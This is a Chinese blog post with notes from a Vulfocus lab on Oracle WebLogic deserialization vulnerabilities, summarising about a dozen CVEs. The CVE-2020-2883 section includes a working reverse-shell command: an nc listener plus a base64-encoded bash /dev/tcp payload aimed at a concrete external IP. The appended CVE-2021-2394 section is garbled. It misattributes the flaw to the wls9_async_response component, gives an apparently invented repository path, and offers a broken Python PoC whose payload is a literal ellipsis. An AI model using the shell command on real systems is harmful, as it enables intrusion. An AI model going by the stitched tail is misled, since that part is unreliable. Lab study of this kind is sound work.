Vulfocus靶场-代码执行(Weblogic)-1

Weblogic反序列化

xml反序列化:wls security组件对外提供的webserver页面,通过xmlDecoder功能来解析用户的xml数据导致的任意字符串被当作代码去执行。

特征:服务器开放7001端口、传递xml数到wls-wsat、数据包内容有bash或dnslog字段

权限绕过:./绕过

Weblogic7001端口,默认会开启T3协议服务,T3协议触发的WeblogicServer WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意的T3协议数据,获取目标服务器权限。T3协议是Oracle WeblogicServer的默认通信协议,支持多种数据类型的传输和对象序列化,提供高效的通信效率和良好的可扩展性。应用场景:远程EJB调用、JMS信息传递、RMI。

Weblogic 反序列化(CVE-2020-2883)

CVE-2020-2883 是一个影响 Oracle WebLogic Server 的严重漏洞。该漏洞允许未经身份验证的攻击者通过 T3 协议网络访问并破坏易受攻击的 WebLogic Server,成功利用该漏洞可导致远程代码执行

  1. 访问 WebLogic 控制台: 访问 URL:http://:/console 确认 WebLogic 服务器是否成功运行。

  2. 反弹 Shell: 在攻击机上监听端口: nc -lvvp <port> 使用脚本反弹 Shell: python cve_2020_2883_exp.py -u http://<ip>:<port>/ -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuNjcuNC85ODk3IDA+JjE=}|{base64,-d}|{bash,-i}" 成功反弹 Shell 后,可以查看目标机器上的 flag^1^。

weblogic 反序列化 (CVE-2020-2551)

Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。

weblogic 远程代码执行 (CVE-2018-3245)

WebLogic是美国Oracle公司出品的一个应用服务器,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。该漏洞通过利用RMI机制的缺陷达到执行任意反序列化代码的目的。攻击者可以在未授权的情况下将payload封装在T3协议中,通过对T3协议中的payload进行反序列化,从而实现对存在漏洞的WebLogic组件进行远程攻击,执行任意代码并可获取目标系统的所有权限。

weblogic 远程代码执行 (CVE-2019-2725)

Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。 由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。

weblogic 反序列化 (CVE-2020-2555)

Oracle Coherence为Oracle融合中间件中的产品,在WebLogic 12c及以上版本中默认集成到WebLogic安装包中,T3是用于在WebLogic服务器和其他类型的Java程序之间传输信息的协议。 该漏洞允许未经身份验证的攻击者通过构造T3网络协议请求进行攻击,成功利用该漏洞可实现在目标主机上执行任意代码。使用了Oracle Coherence库的产品受此漏洞影响,在WebLogic Server 11g Release(10.3.4)及以上版本的安装包中默认集成了Oracle Coherence库。

weblogic 反序列化(CVE-2017-10271)

Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

weblogic 反序列化 (CVE-2018-2628)

Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。WLS Core是其中的一个核心组件。 攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

weblogic 反序列化 (CVE-2019-2729)

Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。 CVE-2019-2729漏洞是对CVE-2019-2725漏洞补丁进行绕过,形成新的漏洞利用方式,属于CVE-2019-2725漏洞的变形绕过。与CVE-2019-2725漏洞相似,CVE-2019-2729漏洞是由于应用在处理反序列化输入信息时存在缺陷,攻击者可以通过发送精心构造的恶意HTTP请求,用于获得目标服务器的权限,并在未授权的情况下执行远程命令,最终获取服务器的权限。

weblogic wls-wsat组件远程命令执行(CVE-2017-3506)

Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。

### 关于WebLogic CVE-2021-2394漏洞的信息 CVE-2021-2394 是 Oracle WebLogic Server 中的一个反序列化漏洞,允许未经身份验证的攻击者通过 T3 协议发送恶意数据包来实现远程代码执行 (RCE)[^6]。此漏洞的影响范围包括以下版本: - **Oracle WebLogic Server 12.1.3** - **Oracle WebLogic Server 12.2.1.x** #### 漏洞原理 该漏洞源于 WebLogic 的 `wls9_async_response` 组件未能正确处理传入的数据流,在解析过程中存在反序列化的安全隐患。由于未经过充分的身份验证校验,攻击者可以构造特定的 Java 对象并触发 RCE 行为。 --- ### VulFocus 环境搭建指南 VulFocus 提供了一个便捷的方式来快速部署漏洞复现环境。以下是针对 CVE-2021-2394 的具体操作方法: #### 步骤说明 1. 安装 Docker 和 Docker Compose 工具。 如果尚未安装这些工具,请运行以下命令完成安装: ```bash sudo apt-get update && sudo apt-get install -y docker.io docker-compose ``` 2. 下载目标镜像。 使用官方提供的脚本拉取对应漏洞容器: ```bash git clone https://github.com/vulfocus/vulfocus.git cd vulfocus/weblogic-cve-2021-2394/ sudo docker-compose up -d ``` 3. 启动成功后访问服务地址,默认端口通常设置为 `7001` 或其他指定配置项中的值。 > 注意事项:确保主机防火墙已开放必要通信端口,并确认资源充足以支持虚拟机正常启动[^5]。 --- ### Exploit PoC 实施流程 目前公开可用的一种 POC 脚本如下所示,基于 Python 编写而成用于测试目的仅限合法授权范围内使用! ```python import socket from struct import pack def create_exploit_payload(): # 构造payload部分省略实际细节... payload = b"\x00\x00" + ... # 自定义shellcode填充区域 return payload target_ip = "192.168.1.10" port = 7001 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, port)) header = pack(">I", len(create_exploit_payload())) s.send(header + create_exploit_payload()) except Exception as e: print(f"[!] Error occurred: {e}") finally: s.close() ``` 上述代码片段展示了如何向受影响服务器投递精心设计好的字节码从而达成控制意图[^7]。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值